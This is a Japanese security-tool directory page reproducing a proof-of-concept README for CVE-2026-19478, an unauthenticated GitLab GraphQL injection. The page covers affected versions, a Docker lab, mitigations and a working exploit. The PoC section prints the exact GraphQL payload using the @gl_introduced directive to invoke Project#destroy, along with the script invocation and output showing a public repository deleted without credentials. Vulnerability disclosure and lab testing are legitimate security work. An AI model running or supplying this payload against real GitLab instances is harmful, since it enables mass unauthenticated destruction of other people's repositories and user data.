Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/eqstlab/cve-2026-19478
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミング
GitHubeqstlab/cve-2026-19478

CVE-2026-19478

CVE-2026-19478の概念実証エクスプロイト。GitLab CE/EEにおける未認証のGraphQLインジェクションであり、任意のメソッド呼び出しとプロジェクト削除を可能にします。

リポジトリを見る
17時間2分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-19478 GitLab GraphQL 未認証プロジェクト削除

★ CVE-2026-19478 GitLab GraphQL @gl_introduced 未認証任意メソッド呼び出し PoC ★

https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b


概要

CVE-2026-19478 は、GitLab CE/EE における未認証のデータ改ざん・削除の脆弱性です(CVSS 9.4)。 GitLab は、ローリングデプロイの前方互換性のために GraphQL クライアントディレクティブ @gl_introduced(version: "X.Y.Z") を提供しています。クエリが実行中サーバーより新しいバージョンのフィールドを指定すると、トレーサーが静的検証の前にそれを除去するため、クエリは検証を通過します。その後、実行時に未知のフィールドはリゾルバを持たないフォールバックフィールドによって解決されます。 graphql-ruby では、リゾルバを持たないフィールドは object.public_send(field_name) を呼び出して解決されるため、クライアントは現在解決中のオブジェクト上の任意の0引数メソッドと等しいフィールド名を指定でき、サーバーがそれを呼び出します。 公開プロジェクトを解決し、destroy という名前の「将来のフィールド」を要求すると、Project#destroy が実行され、アカウント、トークン、ユーザー操作なしで公開プロジェクト(またはユーザーデータ)が削除されます。


影響を受けるバージョン

カテゴリバージョン
影響ありGitLab CE/EE 18.2 – 18.11.10、19.0.0 – 19.0.7、19.1.0 – 19.1.5、19.2.0 – 19.2.3
修正済み18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 以降

影響

  • 公開プロジェクトおよびユーザーデータの未認証での改ざん・削除
  • インターネットに公開されたインスタンス上のすべての公開リポジトリの大規模かつスクリプト可能な破壊
  • 修正により、将来フィールドのフォールバックは Resolvers::NilResolver(nil を返し、メソッドを呼び出さない)経由にルーティングされます

環境

脆弱な GitLab をビルドして実行します。公開リポジトリ victim/demo が自動的にシードされ、未認証で削除できます。GitLab の再設定とシード完了には約3〜5分かかります。

root@kitploit:~
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
前提条件このラボでの状態
GitLab 18.2 – 19.2.319.2.2
匿名でアクセス可能な公開プロジェクトvictim/demo(シード済み)
未認証の GraphQL エンドポイントに到達可能/api/graphql 公開

PoC

エクスプロイト gitlab_exploit.py は、認証情報なしで指定した任意の公開リポジトリを削除します。GraphQL フィールド名 destroy を Project#destroy 呼び出しに変換する @gl_introduced ペイロードを送信し、REST API(404)で削除を確認します。

root@kitploit:~
# python3 gitlab_exploit.py <ターゲット ip:port> --repo <グループ/名前>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
root@kitploit:~
[*] target ......... http://172.17.0.2:3000
[*] BEFORE (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200  (exists)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] waiting for async delete to finish ...
[+] AFTER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESS - the UNAUTHENTICATED request DELETED 'victim/demo'. CVE-2026-19478 proven.

オプション:

  • --detect — 安全な非破壊チェック(destroy の代わりに無害な to_param メソッドを呼び出します)
  • --repo group/name — インスタンス上の任意の公開プロジェクトをターゲットにします
  • --insecure — https:// ターゲットの TLS 検証をスキップします

緩和策

  • GitLab を 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 以降にアップグレードする
  • すぐにアップグレードできない場合は、リバースプロキシで @gl_introduced ディレクティブ / バージョンフィルターパスをブロックするか、/api/graphql への未認証アクセスを制限する
  • 露出を減らす: GitLab をパブリックインターネットから隔離し(VPN / 認証プロキシ)、公開プロジェクトを最小限にする

分析

  • KR:
  • EN:
ツールをダウンロード